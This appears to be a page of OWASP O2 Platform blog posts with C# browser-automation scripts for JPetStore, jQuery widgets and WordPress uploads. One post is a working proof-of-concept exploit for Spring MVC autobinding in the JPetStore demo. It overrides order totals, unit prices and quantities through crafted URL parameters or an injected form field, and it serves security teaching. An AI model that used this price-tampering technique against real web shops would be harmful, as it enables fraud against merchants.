OWASP O2 Platform Blog

Creating an API for JPetStore Browser automation

Once we have a number of Lambda functions to perform IE/Web automation, the next step is to create an API so that they can be easily consumed and reused.

This API is going to be called API_JPetStore.cs and will allow the simple invocation of JPetStore commands like this:

var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true); 
var jPetStore = new API_JPetStore(ie);
 
jPetStore.homePage(); 
jPetStore.login_DefaultValues();
jPetStore.logout();
jPetStore.login("asd","asd"); 
jPetStore.login("j2ee","j2ee");</pre>
&nbsp;

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is the current source code for the API_JPetStore.cs file (at the moment only implemeting a couple functions (like the login and logout)

// This file is part of the OWASP O2 Platform (<a href="http://www.owasp.org/index.php/OWASP_O2_Platform">http://www.owasp.org/index.php/OWASP_O2_Platform</a>) and is released under the Apache 2.0 License (<a href="http://www.apache.org/licenses/LICENSE-2.0">http://www.apache.org/licenses/LICENSE-2.0</a>)
using System;
using System.Linq;
using System.Collections.Generic;
using O2.Kernel;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.DotNet;
using O2.DotNetWrappers.ExtensionMethods;
//O2File:WatiN_IE_ExtensionMethods.cs   
//O2File:WatiN_IE.cs
//O2Ref:WatiN.Core.1x.dll</pre>
&nbsp;

namespace O2.XRules.Database.APIs
{
    public class API_JPetStore
    {   
        public WatiN_IE ie;
        public string appUrl = "<a href="http://localhost:8080/jpetstore">http://localhost:8080/jpetstore</a>";
       
        public API_JPetStore(WatiN_IE _ie)
        {
            ie = _ie;
        }           
       
        public API_JPetStore open(string virtualPath)
        {
            if (virtualPath.starts("/").isFalse())
                virtualPath = "/{0}".format(virtualPath);
            var fullUri = "{0}{1}".format(appUrl, virtualPath).uri();
            ie.open(fullUri.str());
            return this;
        }
    }
   
      
    public static class API_JPetStore_ExtensionMethods
    {
        public static API_JPetStore homePage(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("");
            return jPetStore;
        }
       
        public static API_JPetStore login_DefaultValues(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("/shop/signonForm.do");
            jPetStore.ie.buttons()[1].click();
            return jPetStore;
        }
       
        public static bool login(this API_JPetStore jPetStore, string username, string password)       
        {           
            jPetStore.open("/shop/signonForm.do");
            var ie = jPetStore.ie;
            ie.field("username").value(username);
            ie.field("password").value(password);
            jPetStore.ie.buttons()[1].click();
            return ie.IE.Html.contains("Invalid username or password. Signon failed.");
        }
       
        public static API_JPetStore logout(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("/shop/signoff.do");            
            return jPetStore;
        }

       
    }
}

 

July 13, 2011 Posted by | JPetStore, Spring MVC, WatiN | Leave a comment

O2 Script for “Spring MVC JPetStore – Start Servers” (start/stop apache and hsqldb)

Part of the Spring MVC O2 demos, this script will:

  • Create a Gui to allow easy start and stop of the JPetStore servers (web and db)
  • Shows how to start an apache server and hsqldb directly (i.e. without using *.bat files)
  • Provide links to the other jPetStore Spring MVC *.h2 scripts

Here is a video of this script in action:

This script is included in the jPetStore O2 Demo Pack which can be downloaded from here (includes JPetStore and Apache):

Here is the script:

var topPanel = O2Gui.open<Panel>("JPetStore - Start Servers",1000,400);
//var topPanel = panel.clear().add_Panel();
Process hsqldbProcess = null;
Process apacheProcess = null;
var actionPanel = topPanel.insert_Above(20);
topPanel.add_LogViewer();
var ie = topPanel.insert_Right().add_IE();</pre>
&nbsp;

//Processes.getProcessesCalled("java").stop();
var currentFolder = PublicDI.CurrentScript.directoryName();

Action startServers =
()=>{
"Starting Db and Web servers".debug();
// start db server (hsqldb)
hsqldbProcess = Processes.startProcessAndRedirectIO("java",
@"-classpath .\hsqldb.jar org.hsqldb.Server -database jpetstore",
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);

//start web server (apache)
var tomcatFolder = currentFolder.pathCombine("apache-tomcat-7.0.16");
var apacheBinDirectory =  tomcatFolder.pathCombine("bin");

var apacheStartParameters = ("-Djava.util.logging.config.file=\"{0}\\conf\\logging.properties\" " +
"-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager   " +
"-Djava.endorsed.dirs=\"{0}\\endorsed\" " +
"-classpath \"{0}\\bin\\bootstrap.jar;{0}\\bin\\tomcat-juli.jar\" " +
"-Dcatalina.base=\"{0}\" -Dcatalina.home=\"{0}\" " +
"-Djava.io.tmpdir=\"{0}\\temp\" org.apache.catalina.startup.Bootstrap  start"
).format(tomcatFolder) ;

apacheProcess = Processes.startProcessAndRedirectIO("java",
apacheStartParameters,
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);
};

Action stopServers =
()=>{
"Stopping Db and Web servers".debug();
apacheProcess.stop();
hsqldbProcess.stop();
};
Action openJPetStore =
()=>{
ie.open("http://localhost:8080/jpetstore");
ie.link("Enter the Store").click();
ie.links().where((link)=> link.url().contains("FISH"))[0].click();
};
actionPanel.add_Link("Start Servers",0,0,()=>startServers())
.append_Link("Stop Servers",()=>stopServers())
.append_Link("Enter JPetStore and open a Page", ()=> openJPetStore())
.append_Link("JpetStore - BlackBox Exploits.h2" ,()=> "JpetStore - BlackBox Exploits.h2".local().executeH2Script() )
.append_Link("JPetStore - View Controllers.h2"  ,()=> currentFolder.pathCombine("JPetStore - View Controllers.h2").executeH2Script() );   ;


return "ok";

//using System.Diagnostics
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 12, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | Leave a comment

O2 Script with BlackBox exploits for Spring MVC AutoBinding vulnerabilities in JPetStore

This script ( that you can find on your local O2 Scripts folder at ‘C:\O2\O2Scripts_Database\_Scripts\_Sample_Vulnerabilities\jPetStore\JpetStore – BlackBox Exploits.h2’ ) shows a blackbox aninimation of a couple Spring MVC Autobinding vulnerabilities in the JPetStore application.

You can see a video of this script in action here:

Also see this blog post for more details: http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html  (includes a link to a white paper in this topic published in 2008 (but still very relevant))

Here is the source code of the O2 Script that creates a PoC GUI and allows the controlled execution of 3 variations of the exploits:

var topPanel = "JPetStore 'AutoBinding Vulnerability' PoC".popupWindow(1000,700);
//var topPanel = panel.clear().add_Panel();

var actionPanel = topPanel.insert_Above(40);
var ie = topPanel.add_IE_with_NavigationBar().silent(true);

var server = "http://127.0.0.1.:8080";

Action<string,string> login =
    (username, password) => {
                                ie.open(server + "/jpetstore/shop/signonForm.do");
                                ie.field("username",username);
                                ie.field("password",password);
                                ie.buttons()[1].click();
                            };

Action loginPlaceAnOrderAndGoToCheckout =
    ()=>{
            ie.open("http://127.0.0.1:8080/jpetstore");
            ie.link("Enter the Store").click();
            //login if needed
            var signOffLink = ie.links().where((link)=> link.url().contains("signonForm.do")).first();
            if(signOffLink.notNull())
            {
                signOffLink.click();
                login("j2ee", "pwd1");
            }
            ie.links().where((link)=> link.url().contains("FISH"))[0].click();
            ie.link("FI-FW-01 ").flash().click();
            ie.links().where((link)=> link.url().contains("addItemToCart"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("checkout.do"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("newOrder.do"))[0].flash().click();
        };

Action scrollToTotal =
    ()=>{
            var tdElement = ie.elements().elements("TD").toList().Where((element)=> element.innerHtml().notNull() && element.innerHtml().contains("Total:")).first();
            tdElement.scrollIntoView();
            tdElement.injectHtml_beforeEnd("<h2><p align=right>Look at the Total value from the table above (it should be 18.50)</p><h2>");
        };

Action<string> exploit_Variation_1 =
    (payload) => {
                    loginPlaceAnOrderAndGoToCheckout();
                    ie.buttons()[1].flash().click();
                    ie.open(server + "/jpetstore/shop/newOrder.do?_finish=true&" + payload);
                    scrollToTotal();
                 };

Action<string> exploit_Variation_1_SetTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}&order.lineItems[0].unitPrice=12&order.lineItems[0].quantity=12".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_2 =
    (totalPrice) => {
                        loginPlaceAnOrderAndGoToCheckout();
                        ie.field("order.billToFirstName").flash()
                          .injectHtml_afterEnd("<br>Total Price:<input type=text name='order.totalPrice' value='{0}'/>".format(totalPrice));
                        ie.buttons()[1].flash().click();
                        ie.open("http://127.0.0.1.:8080/jpetstore/shop/newOrder.do?_finish=true");
                        scrollToTotal();
                    };

//ie.disableFlashing();
var desiredPrice = "";
actionPanel.add_Label("Desired Total Price:").top(4)
           .append_TextBox("").onTextChange((text) => desiredPrice = text).set_Text("1.99")
           .append_CheckBox("Disable flashing",(value)=> { if (value) ie.disableFlashing(); else ie.enableFlashing(); })
           .append_Link("Normal Request", ()=> exploit_Variation_1("")).top(24).left(105)
           .append_Link("Exploit Variation #1 (set TotalPrice) ", ()=> exploit_Variation_1_SetTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #2 (set ItemPrice, Item Quantity and TotalPrice) ", ()=> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("loginPlaceAnOrderAndGoToCheckout; ",()=> loginPlaceAnOrderAndGoToCheckout());

ie.open("http://127.0.0.1.:8080/jpetstore");

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 11, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | 1 Comment

Creating a jQuery DataTable using serialized JSON object

Using the same technique used in the JsTree example, here is a DataTable dynamically populated from a serialized JSON object

//based on example from http://www.datatables.net/release-datatables/examples/data_sources/js_array.html
//var topPanel = panel.clear().add_Panel(); 
var topPanel = "Poc - jQuery jsDataTable".popupWindow(900,400);

var jsDataTable =  new JsDataTable();

jsDataTable    .add_Row("Trident", "Internet Explorer 4.0", "Win 95+", 4, "X")
               .add_Row("Trident", "Internet Explorer 4.0", "Win 95+", 4, "X")
            .add_Row("Trident", "Internet Explorer 5.0", "Win 95+", 5, "C")
            .add_Row("Trident", "Internet Explorer 5.5", "Win 95+", 5.5, "A")
            .add_Row("Trident", "Internet Explorer 6.0", "Win 98+", 6, "A")
            .add_Row("Trident", "Internet Explorer 7.0", "Win XP SP2+", 7, "A")
            .add_Row("Gecko", "Firefox 1.5", "Win 98+ / OSX.2+", 1.8, "A")
            .add_Row("Gecko", "Firefox 2", "Win 98+ / OSX.2+", 1.8, "A")
            .add_Row("Gecko", "Firefox 3", "Win 2k+ / OSX.3+", 1.9, "A")
            .add_Row("Webkit", "Safari 1.2", "OSX.3", 125.5, "A")
            .add_Row("Webkit", "Safari 1.3", "OSX.3", 312.8, "A")
            .add_Row("Webkit", "Safari 2.0", "OSX.4+", 419.3, "A")
            .add_Row("Webkit", "Safari 3.0", "OSX.4+", 522.1, "A");

jsDataTable.add_Columns("Engine", "Browser", "Platform");
jsDataTable.add_Column("Version", "center");
jsDataTable.add_Column("Grade", "center");
//adding without using extension methods
/*jsDataTable.aaData.Add(new List<string> { "Trident", "Internet Explorer 4.0", "Win 95+", "4", "X" });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Engine"  });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Browser"  });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Platform"  });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Version" , sClass = "center" });
jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = "Grade" , sClass = "center" }); */

//return "{0}".info(jsDataTable.jsonString());

 
var ie = topPanel.add_IE();                 

ie.showMessage("loading dataTable js and css");

var jQuery = new IE_JQuery(ie);    
var cssFile = @"dataTable_demo.css".local();
var styleHtml =  "<style type=\"text/css\"> {0} </style>".format(cssFile.fileContents().fixCRLF().remove("".line()).replace("'", "\""));

var injectCSS = "$('body').append($('"  + styleHtml + "' ))";
ie.invokeEval(injectCSS);

//ie.invokeEval("<a href="http://static.jstree.com/v.1.0pre/jquery.jstree.js%22.uri().getHtml">http://static.jstree.com/v.1.0pre/jquery.jstree.js".uri().getHtml</a>());  // use to get jstree from jstree.com website
ie.invokeEval("jquery.dataTables.min.js".local().fileContents());
jQuery.element("div").html("creating local table");

ie.invokeEval("$('body').append($('<div id=\"testDataTable\"/>')); $('#testDataTable').html('test DataTable will go here');");
ie.invokeEval("$('#testDataTable').html( '<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"display\" id=\"example\"></table>' );");
//ie.invokeEval("%('#example').html('aaaaaaaaa')");
/*var dataToBuildTable =  "                        { " +    
                        "                                'aaData': [" +
                        "                                                [ 'Trident', 'Internet Explorer 4.0', 'Win 95+', 4, 'X' ], " +
                        "                                                [ 'Trident', 'Internet Explorer 5.0', 'Win 95+', 5, 'C' ], " +
                        "                                                [ 'Gecko', 'Firefox 3', 'Win 2k+ / OSX.3+', 1.9, 'A' ], " +
                        "                                                [ 'Webkit', 'Safari 1.2', 'OSX.3', 125.5, 'A' ]          " +
   
                        "                                          ]," +         
                        "                                'aoColumns': [" +
                        "                                                { 'sTitle': 'Engine' }, " +
                        "                                                { 'sTitle': 'Browser' }, " +
                        "                                                { 'sTitle': 'Platform' }, " +
                        "                                                { 'sTitle': 'Version', 'sClass': 'center' }, " +
                        "                                                { 'sTitle': 'Grade', 'sClass': 'center' } " +
                        "                                               ]" +
                        "                        }      ";     */
                
var dataToBuildTable = jsDataTable.jsonString();
ie.invokeEval(" $('#example').dataTable( " + dataToBuildTable +" );"  );

//O2File:JsDataTable.cs

return "done";

//O2File:IE_JQuery.cs
//O2Ref:WatiN.Core.1x.dll
//O2Ref:Microsoft.mshtml.dll

Here is the code of the JsDataTable class:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
using System.Windows.Forms;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.ExtensionMethods;

//O2Ref:System.Web.Extensions.dll

namespace O2.XRules.Database.APIs
{
    public class JsDataTable
    {
        public List<List<object>> aaData;
        public List<JsDataColumn> aoColumns;       
       
        public JsDataTable()
        {
             aaData = new List<List<object>>() ;
             aoColumns = new List<JsDataColumn>();
        }
       
        public class JsDataColumn
        {
            public string sTitle {get; set; }
            public string sClass {get; set; }
        }
    }
   
   
    public static class JsDataTable_ExtensionMethods
    {
        public static string jsonString(this object _object)
        {
            return new JavaScriptSerializer().Serialize(_object);
        }
       
        public static JsDataTable add_Row(this JsDataTable jsDataTable, params object[] cells)
        {
            return jsDataTable.add_Row(cells.toList());
        }
       
        public static JsDataTable add_Row(this JsDataTable jsDataTable, List<object> cells)
        {
            jsDataTable.aaData.Add(cells);
            return jsDataTable;
        }
               
        public static JsDataTable add_Column(this JsDataTable jsDataTable, string title)
        {
            return jsDataTable.add_Column(title, null);
        }
       
        public static JsDataTable add_Column(this JsDataTable jsDataTable, string title, string _class)
        {
            jsDataTable.aoColumns.add(new JsDataTable.JsDataColumn { sTitle = title, sClass = _class });
            return jsDataTable;
        }
       
        public static JsDataTable add_Columns(this JsDataTable jsDataTable, params string[] titles)
        {
            foreach(var title in titles)
                jsDataTable.add_Column(title);
            return jsDataTable;
        }
    }
}

June 21, 2011 Posted by | IE Automation, jQuery, WatiN | Leave a comment

Creating a jQuery jsTree using serialized JSON object

Based on the code samples from http://mohyuddin.blogspot.com/2009/05/binding-jstree-programmatically-with.html this O2 Platform script shows how to create a jsTree (jQuery plugin) using as a data source a serialized JSON object (this is perfect for use on a web service)

//var topPanel = panel.clear().add_Panel(); 
var topPanel = "Poc - jQuery jsTree".popupWindow(600,200);
 
var ie = topPanel.add_IE();                </pre>
&nbsp;

ie.showMessage("loading jstree js");

var jQuery = new IE_JQuery(ie);  

var cssFile = @"jquery.jstree.style.css".local();
var styleHtml =  "<style type=\"text/css\"> {0} </style>".format(cssFile.fileContents().remove("".line()));
var injectCSS = "$('body').append($('"  + styleHtml + "' ))";
ie.invokeEval(injectCSS);

//ie.invokeEval("<a href="http://static.jstree.com/v.1.0pre/jquery.jstree.js%22.uri().getHtml">http://static.jstree.com/v.1.0pre/jquery.jstree.js".uri().getHtml</a>());  // use to get jstree from jstree.com website
ie.invokeEval("jquery.jstree.js".local().fileContents());
jQuery.element("div").html("creating local tree");
ie.invokeEval("$('body').append($('<div id=\"testJsTree\"/>')); $('#testJsTree').html('test JsTree will go here');");

var jsTree = new JsTree();
jsTree.add_Node("node 1");
jsTree.add_Node("node 2") 
      .add_Node("child 1")
      .add_Nodes("sub child 1", "sub child 2");
jsTree.add_Nodes("node 3", "node 4");
 
ie.invokeEval("treeData = " + jsTree.jsonString());                                  // this creates a string for the serialized jsTree object
//ie.invokeEval("treeData = { 'data' : ['firstnode' ,'2ndNode', '3rdNode' ]  }");    // this creates a tree it manually
ie.invokeEval("jQuery('#testJsTree').jstree({ 'json_data' : treeData ,  'plugins' : [  'themes', 'json_data' , 'dnd']} );");

jQuery.element("div").html("tree created");

return "ok";
//O2File:JsTreeNode.cs
//O2File:IE_JQuery.cs
//O2Ref:WatiN.Core.1x.dll
//O2Ref:Microsoft.mshtml.dll

Here is the code of the JsTree class (in the JsTreeNode.cs file):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
//O2Ref:System.Web.Extensions.dll

namespace O2.XRules.Database.APIs
{
    public class JsTree
    {
        public List<JsTreeNode> data;
       
        public JsTree()
        {
            data = new List<JsTreeNode>();
        }
    }
   
    public class JsTreeNode
    {
        public Attributes attributes { get; set; }      
        public Data data  { get; set; }          
        public string state { get; set; }              
        public List<JsTreeNode> children { get; set; }          
       
        public JsTreeNode()
        {
            children = new  List<JsTreeNode>();
            data = new Data();
            attributes = new Attributes();
        }   
        public  JsTreeNode(string title) : this()
        {
            data.title = title;
        }
       
    }
    public class Attributes
    {
        public string id { get; set; }  
        public string rel { get; set; }          
        public string mdata { get; set; }      
    }
   
    public class Data
    {
        public string title { get; set; }      
        public string icon { get; set; }      
    }
   
    public static class JsTree_ExtensionMethods
    {
        public static string jsonString(this object _object)
        {
            return new JavaScriptSerializer().Serialize(_object);
        }
       
        public static JsTreeNode add_Node(this JsTree jsTree, string title)
        {
            var newJsTreeNode = new JsTreeNode(title);
            jsTree.data.Add(newJsTreeNode);
            return newJsTreeNode;
        }
       
        public static List<JsTreeNode> add_Nodes(this JsTree jsTree, params string[] titles)
        {
            var newJsTreeNodes = new List<JsTreeNode>();
            foreach(var title in titles)
                newJsTreeNodes.Add(jsTree.add_Node(title));
            return newJsTreeNodes;
        }
       
        public static JsTreeNode add_Node(this JsTreeNode jsTreeNode, string title)
        {
            var newJsTreeNode = new JsTreeNode(title);
            jsTreeNode.children.Add(newJsTreeNode);
            return newJsTreeNode;
        }
       
        public static List<JsTreeNode> add_Nodes(this JsTreeNode jsTreeNode, params string[] titles)
        {
            var newJsTreeNodes = new List<JsTreeNode>();
            foreach(var title in titles)
                newJsTreeNodes.Add(jsTreeNode.add_Node(title));
            return newJsTreeNodes;
        }
    }
}

Based on the original code sample, here is a working version of its test script:


List<JsTreeNode> nodesList = new List<JsTreeNode>();
for (int i = 1; i < 10; i++)
{
    JsTreeNode node = new JsTreeNode();
    node.attributes = new Attributes();
    node.attributes.id = "rootnod" + i;
    node.attributes.rel = "root" + i;
    node.data = new Data();
    node.data.title = "Root node:" + i;
    node.state = "close";

    node.children = new List<JsTreeNode>();

    for (int j = 1; j < 4; j++)
    {
        JsTreeNode cnode = new JsTreeNode();
        cnode.attributes = new Attributes();
        cnode.attributes.id = "childnod1" + j;
        node.attributes.rel = "folder";
        cnode.data = new Data();
        cnode.data.title = "child node: " + j;
        cnode.attributes.mdata = "{draggable : true,max_children : 1,max_depth : 1 }";
        node.children.Add(cnode);

    }
    node.attributes.mdata = "{draggable : false,max_children : 1, max_depth :1}";
    nodesList.Add(node);
}
var jsTree = new JsTree();
jsTree.data= nodesList; 
var jsonData = new JavaScriptSerializer().Serialize(jsTree);       

return jsonData;   

June 21, 2011 Posted by | IE Automation, jQuery, WatiN | 3 Comments

Invoking jQuery from O2

jQuery is an amazing  javascript API and since O2 has a two-way communcations with the hosted IE object, there is a new O2 API that allows the managed (ie. in O2) manipulation of jQuery.

Here is an exampe of this api in action:

var topPanel = "PoC - jQuery IE Automation example".popupWindow(600,700);
var ie = topPanel.add_IE().silent(true);

ie.open(<a href="http://jquery.bassistance.de/autocomplete/demo/">http://jquery.bassistance.de/autocomplete/demo/</a>);
var jQuery = new IE_JQuery(ie);
jQuery.id("suggest1")            // getting reference to html element with id 'suggest1'
      .border(12)               // seeting the border value to 12
      .value("London")            // setting the 'value' attribute to 'London'
      .keydown();     
         
jQuery.wait(200)                  // wait 200 ms to give time for the '.ac_over:first' to exist
      .element(".ac_over:first")  // get reference to '.ac_over:first' element
      .parent()                      // invoke the jQuery 'parent' method
      .click();                      // invoke the jQuery 'click' method     
     
jQuery.wait(1000).id("suggest1").border(2);      // wait 1s before removing the border</pre>
return "ok";

//O2File:IE_JQuery.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a longer version of the above script (the following code samples are not ‘standalone *.h2 scripts and will need to be executed inside the ‘Quick Development Environment’ or ‘IE Automation’ scripts (since they need the ‘panel’ variable):

panel.clear();
var ie = panel.add_IE().silent(true);

ie.open("http://jquery.bassistance.de/autocomplete/demo/");

var jQuery = new IE_JQuery(ie);
jQuery.id("suggest1")            // getting reference to html element with id 'suggest1'
      .border(12)               // seeting the border value to 12
      .value("London")            // setting the 'value' attribute to 'London'
      .keydown();     
         
jQuery.wait(200)                  // wait 200 ms to give time for the '.ac_over:first' to exist
      .element(".ac_over:first")  // get reference to '.ac_over:first' element
      .parent()                      // invoke the jQuery 'parent' method
      .click();                      // invoke the jQuery 'click' method     
     
jQuery.wait(1000).id("suggest1").border(2);      // wait 1s before removing the border

return "ok";

     
// here is a more verbose version of the above script
ie.wait(1000);

jQuery.element("#suggest1").border(12);              
jQuery.id("suggest1").attr("value","Lond").keydown();   
ie.wait(200);
jQuery.element(".ac_over:first").parent().click();
// here is a version using much more raw jQuery manipulations and experiements
ie.invokeEval("jQuery(\"#suggest1\").attr('value','mode 1')");
ie.wait(1000);
jQuery.invokeJQuery("'#suggest1').attr('value','mode 2'");
ie.wait(1000);
jQuery.element("#suggest1").invokeJQuery("attr","'value' , 'mode 3' ");
ie.wait(1000);
jQuery.element("#suggest1").attr("value","L");
ie.wait(1000);
jQuery.id("suggest1").invokeJQuery("trigger", "'keydown'");
ie.wait(1000);
jQuery.element(".ac_over:first").invokeJQuery("parent","").invokeJQuery("click","");
return "done";
//O2File:IE_JQuery.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

 
Here is the Script provided by an Daniel (an O2 user) which inspired the creation of this script:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
ie.open("http://jquery.bassistance.de/autocomplete/demo/");
//ie.invokeEval(incJquery);
ie.field("suggest1").value("London"); //entering value inside first autocomplete control
ie.invokeEval("$('#suggest1').trigger('keydown')"); //triggering keyboard event
ie.wait(100);
ie.invokeEval("$('.ac_over:first').parent().click()"); //choosing first value from autocomplete
return ie.fields();
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

 
this is how Daniel was injecting jQuery into the page (note that the IE_JQuery.cs api also does this)

var incJquery = "var script = document.createElement('script');";
incJquery += "script.src = 'http://code.jquery.com/jquery-latest.pack.js';";
incJquery += "script.type = 'text/javascript';";
incJquery += "document.body.insertBefore( script, document.body.firstChild );";
ie.invokeEval(incJquery);

June 8, 2011 Posted by | IE Automation, jQuery, WatiN | Leave a comment

Trigger an Keypress event in IE

Using O2’s IE Automation (which is a wrapper on top of WatiN), if you need to trigger an Javascript event, there are a couple ways this can be done:
(this text was originally written to answer a question posted on O2’s mailing list)

June 6, 2011 Posted by | IE Automation, jQuery, WatiN | Leave a comment

O2 Script to automatically upload clipboard images to WordPress.com

One of  constant themes in O2 is to create features (i.e. O2 Scripts) that automate actions and save those precious 10 seconds to 1 minute, which don’t seem a lot but are enough to kill the mojo of what we are trying to do (and prevent us from doing that task/action more often).

For example, while I already had a O2 tool to help with writing Workpress blog posts (like this one), it was still a pain to:

  • Upload Images
  • Get to the new post in full screen mode

The script below solves that, where it implements an auto image upload to Workpress (since WordPress XmlRpc API doesn’t seem to work).

The script actually become more complex and big than I was expecting since there were a number of steps that were needed to replicate WordPress file update workflow. What is interresting is that this script uses a number of techniques to get the job done:

  • WatiN
  • HtmlAgilityPack
  • MultPart Form upload
  • Jint

Here  is a screenshot just took with this GUI:

Here is the source code of this script ()

var topPanel = O2Gui.open<Panel>("Util - Write Blog post on o2platform.wordpress.com",1200,600);
//var topPanel = panel.clear().add_Panel();</pre>
 
var cookies = "";
var loggedInCookie = "";
var authCookie = "";
var wpnonce = "";
var postId = "";

Func<string,string> uploadFile =
    (fileToUpload)=>{
                var httpMultiPartForm = new HttpMultiPartForm();
               
                string postUrl = "https://o2platform.wordpress.com/wp-admin/async-upload.php";
                //string fileContentType = "multipart/form-data; boundary=----------Ij5Ef1ae0ei4ae0gL6gL6ae0gL6KM7";
                //string fileToUpload = @"C:\O2\_tempDir\4-16-2011\tmp2D26.tmp.jpeg";
                string fileName = fileToUpload.fileName(); //"tmp2D26.tmp.jpeg";
                //string fileFormat = "jpeg";
                string userAgent = "O2Platform.com";               
               
                FileStream fs = new FileStream(fileToUpload, FileMode.Open, FileAccess.Read);
                byte[] data = new byte[fs.Length];
                fs.Read(data, 0, data.Length);
                fs.Close();
               
                var postParameters = new Dictionary<string, object>();
                postParameters.Add("Filename", fileName);
                postParameters.Add("_wpnonce", wpnonce);
                postParameters.Add("post_id",postId);
                postParameters.Add("type", "image");
                postParameters.Add("tab", "type");
                postParameters.Add("logged_in_cookie", loggedInCookie);
                postParameters.Add("short", "1");
                postParameters.Add("auth_cookie", authCookie);
               
               
                string fileContentType = "multipart/form-data";//"application/octet-stream";
               
                postParameters.Add("async-upload", new HttpMultiPartForm.FileParameter(data, fileName, fileContentType));
               
                var httpWebResponse = httpMultiPartForm.MultipartFormDataPost( postUrl,  userAgent, postParameters,  cookies);
                StreamReader reader = new StreamReader(httpWebResponse.GetResponseStream());
                string  responseHtml = reader.ReadToEnd();
                httpWebResponse.Close();
                return responseHtml;
            };
var actionPanel = topPanel.insert_Above(20);

//var controls = topPanel.add_1x1();
//var ie = controls[0].add_IE();
//var ie2 = controls[1].add_IE();
var ie = topPanel.add_IE();
var ie2 = topPanel.insert_Right(150).add_IE();

Action uploadImagefromClipboard =
    ()=>{
            "uploading image".info();
            var imageFromClipboard = 0.saveImageFromClipboard().info();
            if (imageFromClipboard.fileExists())
            {
                "[in WordPress.uploadImage_fromClipboard]: uploading file: {0}".info(imageFromClipboard);
                var imageNumber = uploadFile(imageFromClipboard);
                "[in WordPress.uploadImage_fromClipboard]: got image reference {0}".info(imageNumber);
                ie2.open("https://o2platform.wordpress.com/wp-admin/async-upload.php?attachment_id={0}&fetch=1".format(imageNumber));
                var pageHtml  = ie2.IE.Html.htmlDecode();
                "got html with size: {0}".info(pageHtml.size());
                var imageUrl = pageHtml.htmlDocument()
                                       .select("//img[@class='thumbnail']")
                                       .attributes("src")
                                       .values()[0].split("?")[0];
                "found imageUrl: {0}".info(imageUrl);
               
                //ie2.open("https://o2platform.wordpress.com/?attachment_id={0}".format(imageNumber));                        
                ie2.open(imageUrl);
            }

        };

Action mapCookies =
    ()=>{
            ie2.open("https://o2platform.wordpress.com/wp-admin/media-upload.php?post_id={0}&type=image".format(postId));           
            var scriptElement =  ie2.IE.Html.htmlDocument()
                                            .select(@"//script[contains(text(),'logged_in_cookie')]");
            var jint = scriptElement.innerHtml().str().jint_Compile();  
            var postParams = jint.statements<JsonExpression>(true)[0].Values["post_params"];
           
            authCookie =  postParams.statements<JsonExpression>(true)[0].Values["auth_cookie"]
                                      .statements<ValueExpression>()[0].Value.str();
           
            loggedInCookie =  postParams.statements<JsonExpression>(true)[0].Values["logged_in_cookie"]
                                          .statements<ValueExpression>()[0].Value.str();
            cookies = ie2.cookiesRaw();
            wpnonce = ie2.field("_wpnonce").value(); 
           
            "cookies are: {0}".info(cookies);
            "auth_Cookie is: {0}".info(authCookie);
            "logged_in_cookie is: {0}".info(loggedInCookie);
        };
       
var wordPress = new API_WordPress("o2platform.wordpress.com");      
wordPress.addRequiredSitesToIETrustedZone(); //to make sure it works ok in WatiN   
var homepage = "https://o2platform.wordpress.com";

var credential = @"C:\O2\_USERDATA\Accounts.xml".credential("o2platform");
if (credential.isNull())
    credential = ascx_AskUserForLoginDetails.ask();

Action login =
    ()=>{
            ie.open("https://o2platform.wordpress.com/wp-login.php");
              ie.field("log", credential.UserName);
              ie.field("pwd", credential.Password);
              ie.button("Log In").click();
        };

Action newPost =
    ()=>{
            ie.open("https://o2platform.wordpress.com/wp-admin/post-new.php");
            var browser = topPanel.control<WebBrowser>(true);            
            browser.focus();
            browser.sendKeys("{TAB}%+g");
        };

actionPanel.add_Link("login", 0,0,()=> login())          
